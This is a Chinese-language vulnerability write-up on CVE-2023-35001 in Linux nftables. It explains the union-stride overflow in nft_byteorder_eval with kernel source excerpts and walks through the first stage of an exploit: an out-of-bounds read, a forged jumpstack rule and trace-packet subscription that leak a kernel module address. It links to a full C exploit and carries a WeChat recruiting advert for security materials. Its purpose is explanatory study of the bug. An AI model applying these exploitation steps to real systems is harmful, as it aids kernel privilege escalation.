Netfilter漏洞提權利用(CVE-2023-35001)

前言

Netfilter是一個用於Linux操作系統的網絡數據包過濾框架,它提供了一種靈活的方式來管理網絡數據包的流動。Netfilter允許系統管理員和開發人員控制數據包在Linux內核中的處理方式,以實現網絡安全、網絡地址轉換(Network Address Translation,NAT)、數據包過濾等功能。

漏洞成因

netfilter中存在這nft_byteorder_eval函數,該函數的作用是將寄存器中的數據以主機序或網絡序存儲。具體代碼如下,若採用的操作是NFT_BYTEORDER_NTOH則是將數據從主機序轉化爲網絡序,而NFT_BYTEORDER_HTON則是從網絡序轉換爲主機序。具體轉換多少個字節則是用priv->size指定的,在該操作下可以轉換二、四、八字節。該漏洞也是由於在對兩字節數據進行大小端序轉存時出現了錯誤所導致的。

可以看到代碼【1】中使用了聯合體存儲了源地址和目的地址,聯合體的變量分別是u32u16分別代表的是四字節與兩字節的空間大小。然後在代碼【2】與【3】處源地址是直接取出u16的變量存儲到目的地址的u16變量中。

乍一看似乎很符合常理,因爲在處理雙字節的時候,聯合體中的變量就以u16存儲,若處理四字節就轉化爲u32存儲,但是這裏存在個問題,在C語言中,聯合體的存儲空間是以最大空間爲標準,換句話說無論聯合體取出的變量是u16還是u32,聯合體的大小都是佔用四個字節的,而不會出現雙字節的情況,因此在對sd兩個聯合體進行遍歷時,會以四字節爲單位找到下一個位置。但是在計算長度時是以雙字節進行計算的,因此就會導致拷貝時發生溢出。

File: linux-5.19\net\netfilter\nft_byteorder.c
26: void nft_byteorder_eval(const struct nft_expr *expr,
27:             struct nft_regs *regs,
28:             const struct nft_pktinfo *pkt)
29: {
    ...
33:     【1】union { u32 u32; u16 u16; } *s, *d; //使用聯合體存儲源地址與目的地址
    ...
39:     switch (priv->size) {
    ...
72:     case 2:
73:         switch (priv->op) {
74:         case NFT_BYTEORDER_NTOH:
75:             for (i = 0; i < priv->len / 2; i++)
76:                 【2】d[i].u16 = ntohs((__force __be16)s[i].u16);//將源地址的數據拷貝到目的地址的低16位中
77:             break;
78:         case NFT_BYTEORDER_HTON:
79:             for (i = 0; i < priv->len / 2; i++)
80:                 【3】d[i].u16 = (__force __u16)htons(s[i].u16);
81:             break;
82:         }
83:         break;
84:     }
85: }

舉個例子,我們自定義一個聯合體數組dest,分別向下標0、1以及2進行賦值。

union {short a;long b;} dst[10];
int main()
{
    dst[0].a = 0x1122;
    dst[1].a = 0x3344;
    dst[2].a = 0x5566;
    
    return 0;
}

按照設想的情況,在使用雙字節變量進行遍歷的時候會以雙字節爲單位進行遍歷,但是實際的情況如下圖。可以發現即使每次賦值都是對雙字節的變量進行賦值,但是再遍歷的時候還是按照聯合體中最大的存儲空間(四字節)進行遍歷的。

image-20240226143625469

因此漏洞的成因如下,因此在使用nft_byteorder函數轉換雙字節的大小端序時溢出。

image-20240226144306379

模塊地址泄露

nft_byteorder_eval函數內部,溢出的地址是在寄存器下方。因此可以通過控制寄存器的下標值選擇需要泄露的地址。

image-20240226145158671

在此需要觀察通過nft_byteorder_eval函數可以溢出的範圍,priv->len是可以人爲控制的,只要滿足reg * 4 + priv->len <= 0x50即可,reg代表寄存器的下標值,由於下標爲0-4是屬於狀態值,因此不能通用,我們的reg的值需要從4開始計算起, 那0x50 - 0x10 = 0x40就是我們priv->len能設置最大的值,(0x40 / 2) * 4 = 0x80,因此(0xaf8 ~ 0xaf8 + 0x80)範圍內都是可以訪問到的。但是現在存在一個問題,雖然我們可以越界訪問,但是每次只能獲取四字節中的低兩個字節。

...
75:             for (i = 0; i < priv->len / 2; i++)
76:                 【2】d[i].u16 = ntohs((__force __be16)s[i].u16);//將源地址的數據拷貝到目的地址的低16位中
...

將下列值傳參給nft_byteorder_eval函數

/*
    dst:18
    src:8
    priv->op:NFT_BYTEORDER_HTON
    priv->len:24
    priv->size:2
*/
rule_add_byteorder(r, 18, 8, NFT_BYTEORDER_HTON, 24, 2);

泄露的值如下,可以發現高兩個字節的值是無法泄露的,因爲在nft_byteorder_eval中,每次只拷貝了u16的變量。因此每次泄露只能獲取低兩字節的值。因此需要尋找其他方法進行地址的泄露。

image-20240226151409616

nf_trace_fill_rule_info函數用於跟蹤數據包,並且會將rule->handle的值放進數據包中回傳給用戶。

想要正常執行nf_trace_fill_rule_info函數需要繞過條件

  • rule不能爲空,並且rule->is_last需要爲0,即當前rule不是最後一個

  • info->type不能是NFT_TRACETYPE_RETURN以及info->verdict->code不能NFT_CONTINUE

/*函數遞歸
nft_do_chain
->
nft_trace_packet
->
__nft_trace_packet
->
nft_trace_notify
->
nf_trace_fill_rule_info
*/
​
File: linux-5.19\net\netfilter\nf_tables_trace.c
126: static int nf_trace_fill_rule_info(struct sk_buff *nlskb,
127:                   const struct nft_traceinfo *info)
128: {
129:    if (!info->rule || info->rule->is_last)
130:        return 0;
131: 
132:    /* a continue verdict with ->type == RETURN means that this is
133:     * an implicit return (end of chain reached).
134:     *
135:     * Since no rule matched, the ->rule pointer is invalid.
136:     */
137:    if (info->type == NFT_TRACETYPE_RETURN &&
138:        info->verdict->code == NFT_CONTINUE)
139:        return 0;
140: 
141:    return nla_put_be64(nlskb, NFTA_TRACE_RULE_HANDLE,
142:                cpu_to_be64(info->rule->handle),
143:                NFTA_TRACE_PAD);
144: }
​

因此想要通過nf_trace_fill_rule_info函數獲取數據的第一步是僞造rule

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

regs變量的下方存在jumpstack變量

image-20240226153618757

結構體nft_jumpstack的構成如下,由chainrulelast_rule組成,並且該結構體變量在regs下方,並且通過byteorder操作可以訪問到jumpstack結構體,那麼利用byteorder操作篡改rule

struct nft_jumpstack {
    const struct nft_chain *chain;
    const struct nft_rule_dp *rule;
    const struct nft_rule_dp *last_rule;
};

接下來看一下nft_rule_dp結構體,可以發現is_last是調用nf_trace_fill_rule_info函數的條件,handle是泄露的值。

struct nft_rule_dp {
    u64             is_last:1,
                    dlen:12,
                    handle:42;  /* for tracing */
    unsigned char           data[]
        __attribute__((aligned(__alignof__(struct nft_expr))));
};

在進入nf_trace_fill_rule_info函數內部前需要經歷規則與表達式的遍歷。

File: linux-5.19\net\netfilter\nf_tables_core.c
255:    for (; rule < last_rule; rule = nft_rule_next(rule)) { //遍歷rule
256:        nft_rule_dp_for_each_expr(expr, last, rule) { //遍歷expr
257:            if (expr->ops == &nft_cmp_fast_ops)
258:                nft_cmp_fast_eval(expr, &regs);
259:            else if (expr->ops == &nft_cmp16_fast_ops)
260:                nft_cmp16_fast_eval(expr, &regs);
261:            else if (expr->ops == &nft_bitwise_fast_ops)
262:                nft_bitwise_fast_eval(expr, &regs);
263:            else if (expr->ops != &nft_payload_fast_ops ||
264:                 !nft_payload_fast_eval(expr, &regs, pkt))
265:                expr_call_ops_eval(expr, &regs, pkt); //執行expr->ops
266: 
267:            if (regs.verdict.code != NFT_CONTINUE)
268:                break;
269:        }
270: 
271:        switch (regs.verdict.code) {
272:        case NFT_BREAK:
273:            regs.verdict.code = NFT_CONTINUE;
274:            nft_trace_copy_nftrace(&info);
275:            continue;
276:        case NFT_CONTINUE:
277:            nft_trace_packet(&info, chain, rule,
278:                     NFT_TRACETYPE_RULE); //跟蹤數據包
279:            continue;
280:        }
281:        break;
282:    

遍歷規則的宏定義如下,若是rule->dlen沒有進行改寫,那麼會根據rule->dlen找到下一個rule,但是當前的rule是僞造的,因此會導致在取出expr會報錯。倘若將rule->dlen修改爲0,則下個rule的位置就是當前rule + 8

由於不定長數組unsigned char data[],在sizeof操作中的值爲0,因此sizeof(*rule)的值爲8。此時將last_rule改寫成rule + 8就可以直接跳出循環。

#define nft_rule_next(rule)     (void *)rule + sizeof(*rule) + rule->dlen

在完場上述流程後,就可以順利進入nft_trace_packet函數內部,nft_trace_packet函數也比較簡單,實際是調用了__nft_trace_packet函數

File: linux-5.19\net\netfilter\nf_tables_core.c
37: static inline void nft_trace_packet(struct nft_traceinfo *info,
38:                     const struct nft_chain *chain,
39:                     const struct nft_rule_dp *rule,
40:                     enum nft_trace_types type)
41: {
42:     if (static_branch_unlikely(&nft_trace_enabled)) {
43:         const struct nft_pktinfo *pkt = info->pkt;
44: 
45:         info->nf_trace = pkt->skb->nf_trace;
46:         info->rule = rule;
47:         __nft_trace_packet(info, chain, type);
48:     }
49: }

可以發現想要進入nft_trace_notify函數需要滿足info->traceinfo->trace不爲空。

File: linux-5.19\net\netfilter\nf_tables_core.c
24: static noinline void __nft_trace_packet(struct nft_traceinfo *info,
25:                     const struct nft_chain *chain,
26:                     enum nft_trace_types type)
27: {
28:     if (!info->trace || !info->nf_trace)
29:         return;
30: 
31:     info->chain = chain;
32:     info->type = type;
33: 
34:     nft_trace_notify(info);
35: }

使用meta表達式可以設置skb->nf_trace,將skb->nf_trace設置爲非空就可以進入到nft_trace_notify函數。

File: linux-5.19\net\netfilter\nft_meta.c
...
443:    case NFT_META_NFTRACE:
444:        value8 = nft_reg_load8(sreg);
445: 
446:        skb->nf_trace = !!value8;
447:        break;
...

nft_trace_notify函數內部,還會判斷是否訂閱NFNLGRP_NFTRACE。沒訂閱則無法繼續執行。

File: linux-5.19\net\netfilter\nf_tables_trace.c
    ...
176:    if (!nfnetlink_has_listeners(nft_net(pkt), NFNLGRP_NFTRACE))
177:        return;
    ...

libnml庫中使用mnl_socket_setsockopt函數進行netlink的組訂閱,由於在使用宏NFNLGRP_NFTRACE編譯時會提示找不到該值,因此這裏使用實際值代替了。

static int group = 9;
if (mnl_socket_setsockopt(nleak, NETLINK_ADD_MEMBERSHIP, &group,
                  sizeof(int)) < 0) {
        perror("mnl_socket_setsockopt");
        exit(EXIT_FAILURE);
}

接下來就需要具體如何僞造rule,通過byteorder操作可以首先可以將原先的chainrule以及last_rule的地址泄露,但是隻能泄露四字節。

image-20240226185754371

由於我們需要找到符合上述條件的rule,並且我們只有rule的最低兩個字節,因此搜索範圍不大,因此需要在泄露的rule_low附近尋找一個合適的模塊地址。在存儲泄露的rule之前存儲利用immediate以及meta_set操作,我們選擇其中一個進行泄露即可。

image-20240226190914862

僞造的方式也比較簡單,由於is_lastdlen都需要設置爲0,因此我們只需要找到兩個字節爲0的值,作爲僞造的rule即可,僞造的rule如下。

image-20240226191341104

修改後的結果如下

image-20240226193040824

由於handle實際是佔用42比特,但是有3個比特被設置爲0了,因此實際泄露的值只有39比特,但是由於模塊地址的高4個字節都是固定的0xffffffff,因此不影響模塊地址的泄露。通過從數據包中提取數據得到handle的值爲後,簡單移位操作就可以還原。

module = ((leak << 13)  >> 16);

最後泄露模塊基地址成功。

image-20240226192449806

總結

總結一下模塊基地址的泄露流程

1. 構造基礎鏈

設置NFT_JUMP表達式

通過meta設置爲NFT_META_NFTRACE

2. 泄露鏈

byteorder表達式觸發漏洞,第一次讀chainrule以及last_rule,第二次改寫爲chainfake rule以及fake last_rule

dynset表達式泄露chainrulelast_rule

3. 訂閱NFNLGRP_NFTRACE組,接收數據包

4. 後續接着分享如何繞過kaslr以及最終提權的利用。

原版exp使用go語言寫的,我使用c語言重寫了一版。

完整exphttps://github.com/h0pe-ay/Vulnerability-Reproduction/tree/master/CVE-2023-35001(nftables)(c語言)

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章